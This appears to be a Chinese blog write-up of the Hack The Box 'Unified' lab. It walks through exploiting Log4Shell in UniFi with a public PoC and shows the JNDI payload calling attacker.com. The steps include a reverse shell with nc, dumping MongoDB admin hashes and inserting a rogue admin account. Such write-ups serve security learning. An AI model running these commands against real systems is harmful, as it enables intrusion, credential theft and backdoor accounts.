HTB Unified 靶机渗透测试

信息收集

目标信息


unified靶机信息

端口扫描

使用nmap扫描目标主机的IP。(这里看了下官方wp,有的使用的是rustscan,似乎比nmap快)

1
nmap -sV 10.129.109.6

发现开放如下端口:
扫描结果

这里发现了8443端口,居然是nagios-nsca服务,这个浏览器一搜就是爆出来的各种漏洞,例如CVE-2023-40931,CVE-2023-40934

Nagios NSCA 服务介绍

Nagios NSCA(Nagios Service Check Acceptor)是 Nagios 的一个组件,
用于远程主机向 Nagios 主服务传递监控结果。

  • 作用: 允许分布式监控,把结果集中汇报给 Nagios 服务器
  • 端口: 默认 5667,但靶机这里运行在 8443
  • 风险: 历史上有很多漏洞,比如命令注入、认证绕过等
    在渗透测试中,发现 NSCA 服务几乎就意味着存在潜在利用点。

🔗 官方 GitHub 仓库

靶场任务中在端口8443上运行的软件标题和运行的软件版本通过curl命令获取

1
curl -k https://10.129.106.9:8443/manage/account/login

curl获取服务
curl获取版本
也有更简单的办法就是由于开启了https服务,可以直接浏览器访问,注意网站favicon即可。

漏洞探测

已经发现了unifi运行程序的版本号是6.4.54,接下来直接上edge(看个人)搜索是否已经存在相关漏洞,于是发现存在远程代码执行漏洞,编号为CVE-2021-44228(Log4jshell)
Log4jshell
漏洞常用协议

CVE-2021-44228 (Log4Shell) 漏洞信息
  • 漏洞编号: CVE-2021-44228
  • 影响版本: Apache Log4j 2.0-beta9 ~ 2.14.1
  • 漏洞类型: 远程代码执行 (RCE)
  • CVSS v3.1 评分: 10.0 (最高危等级)

原理:
攻击者构造 ${jndi:ldap://attacker.com/a} 这样的 payload,当被写入日志时,Log4j 会通过 JNDI 访问远程服务器并加载恶意代码,从而实现 RCE。

修复方案:

  1. 升级 Log4j 至 2.16.0+
  2. 临时缓解:-Dlog4j2.formatMsgNoLookups=true 或删除 JndiLookup.class

🔗 官方公告
🔗 NVD 漏洞库
🔗 Log4jUnifi GitHub PoC

前渗透

Log4j 漏洞利用

在渗透过程中发现存在 Log4j 漏洞,相关利用 PoC 可以参考
Log4jUnifi GitHub 仓库

接下来只需要按照上面说明对相应的环境进行搭建即可。
这里可以采用两种办法,一种是手动安装,另一种是docker安装

⚠️ 注意:使用手动安装的时候kali会给出警告,关于pip可能影响系统环境,导致系统冲突,如果是这样,建议和我一样使用虚拟环境
pip环境冲突

1
2
3
4
5
6
7
8
9
10
11
12
# 更新系统
sudo apt update && sudo apt upgrade -y

# 安装依赖
sudo apt install -y openjdk-11-jdk maven

# 克隆 GitHub 存储库并安装所有 python 要求:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt

#命令编译 Rogue-Jndi 项目
mvn package -f utils/rogue-jndi/

⚠️ 注意:在某些情况下,使用 Docker 安装可能会阻断 VPN 流量,导致抓取不到目标数据。
如果遇到这种情况,建议切换回 手动安装方式,避免网络被容器隔离。
docker阻断

1
2
3
4
5
# 拉取项目镜像
docker pull puzzlepeaches/log4junifi:latest

# 运行容器
docker run -it puzzlepeaches/log4junifi:latest /bin/bash

我这里本来打算使用的是这两种方式,但由于梯子的原因导致一直抓取不到,于是使用了另一种办法,创建了一个虚拟环境

1
2
3
4
python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

这里下载时间蛮久的,不知道是网络原因还是什么原因。
此外需要注意的,在抓取该poc仓库时候,千万千万要注意其中的utils文件夹中的rogue-jndi项目引用的是另一个仓库,我这里是抓取了另一个仓库,并且把其中的pom.xml文件复制过来了。否则运行会报错

获取shell

在有了正确的环境配置后,就可以轻松的利用poc使用代码进行远程执行。

1
python3 exploit.py -u https://10.129.106.9:8443 -i 10.10.16.14 -p 4444

执行
同时开启监听
1
nc -lvnp 4444

顺利生成外壳

这里发现uid=999 gid=999,说明肯定不是root权限运行
但是我们可以通过查找服务进程来找到mongo的端口号

提权

后渗透

方法一:获取并破解哈希

使用反向shell执行以下命令

1
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

获取hash
接下来就是很简单的丢到hashcat中去,但是由于这里是SHA-512加密的哈希值,所以破解需要很长一段时间,这里就没有进行完成。

方法二:添加管理员

首先为自己的账户生成密码哈希,可以使用mkpasswd本地生成

1
mkpasswd -m sha-512 pass

接下来将生成的哈希填入即将在mongodb命令中使用的哈希值
1
mongo --port 27117 ace --eval 'db.admin.insert({ "email" : "null@localhost.local", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$hBZE67014v.jFfqG$5cMXEP1Kd4AlAItqIBOWGZlXUgjslYIDIO3Gp5jDtyXeU6tsqr5JBIWVnwuINEgKoXSoOKsoT73ml7U11XU6S0" })'

添加管理员

验证并获取flag

验证

直接登入浏览器,输入自己添加的管理员账号和密码,直接从后台管理系统获得flag
获取flag
这里我的浏览器不知道为什么没有返回后台管理,但是url已经顺利跳转过来了,估计是网络原因,所以我就做到这里停下了。

总结反思

本次渗透测试最主要的大概是第一次接触到了Log4j漏洞,之前也听说过这个漏洞,但是没有实际操作过,这次通过实战加深了对该漏洞的理解。
参考文章: